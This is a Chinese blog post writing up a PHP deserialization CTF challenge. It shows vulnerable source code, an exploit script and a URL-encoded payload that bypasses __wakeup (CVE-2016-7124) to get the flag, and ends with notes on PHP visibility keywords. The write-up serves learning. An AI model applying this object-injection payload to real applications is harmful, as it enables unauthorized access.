2020903-PHP-PHP反序列化利用

2020903-PHP-PHP反序列化利用

九月 04, 2020

2020903-PHP-PHP反序列化利用

已经看了几天的反序列化了,稍微的做一个记录吧

序列化: 将缓存内容转换为可存储或者可传输的数据(对象持久化)
反序列化:将传输内容或存储内容转换为内存数据
image.png

个人学习使用的环境:[极客大挑战 2019]PHP
1,下载网站备份 www.zip
获得文件ndex.php class.php flag.php index.js style.css

分析像对应的源代码:
index.php 重要片段

1
2
3
4
5
6
7
8
9
<?php
include 'class.php';
//包涵class.php
$select = $_GET['select'];
//get一个传参
$res=unserialize(@$select);
//unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

?>

class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include 'flag.php';
error_reporting(0);
//创建类并进行对象构造
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
//魔术方法:unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
function __wakeup(){
$this->username = 'guest';
}
//魔术方法:
/*
Note: 如果子类中定义了构造函数则不会隐式调用其父类的构造函数。要执行父类的构造函数,需要在子类的构造函数中调用
parent::__construct()。如果子类没有定义构造函数则会如同一个普通的类方法一样从父类继承(假如没有被定义为 private 的话)。
https://www.php.net/manual/zh/language.oop5.decon.php#object.destruct
*/
function __destruct(){
if ($this->password != 100) {
//如果password 不等于100 该程序退出 die()同等于exit()
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
//username 等于admin 输出flag
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}

flag.php:无关键信息

分析:
这个只需要满足两个条件即可
password = 100
username = admin

然后需要绕过__wakeup
看上去方法很简单,
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

exp.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Name
//构造Name
{
private $username = "admin";
//申明私有对象$username
private $password = 100;
//申明私有对象$password
}
$user = new Name();
//实体化对象Name()
$str = urlencode(serialize($user));
//序列化并url编码$user
var_dump($str);
//输出变量相关信息
?>

payload:
?select=O%3A4%3A"Name"%3A3%3A%7Bs%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bi%3A100%3B%7D

这次仅是一个简单的学习发现自己缺php的内容太多了 ,看看就好

参考资料:
https://www.php.net/manual/zh/function.unserialize.php
https://www.cnblogs.com/chbyl/p/7116591.html
public: 公有类型
在子类中可以通过self::var调用public方法或属性,parent::method调用父类方法
在实例中可以能过$obj->var 来调用 public类型的方法或属性

protected: 受保护类型
在子类中可以通过self::var调用protected方法或属性,parent::method调用父类方法
在实例中不能通过$obj->var 来调用 protected类型的方法或属性

private: 私有类型
该类型的属性或方法只能在该类中使用,在该类的实例、子类中、子类的实例中都不能调用私有类型的属性和方法

2.self 和 parent 的区别
a).在子类中常用到这两个对像。他们的主要区别在于self可以调用父类中的公有或受保护的属性,但parent不可以调用
b).self:: 它表示当前类的静态成员(方法和属性) 与 $this 不同,$this是指当前对像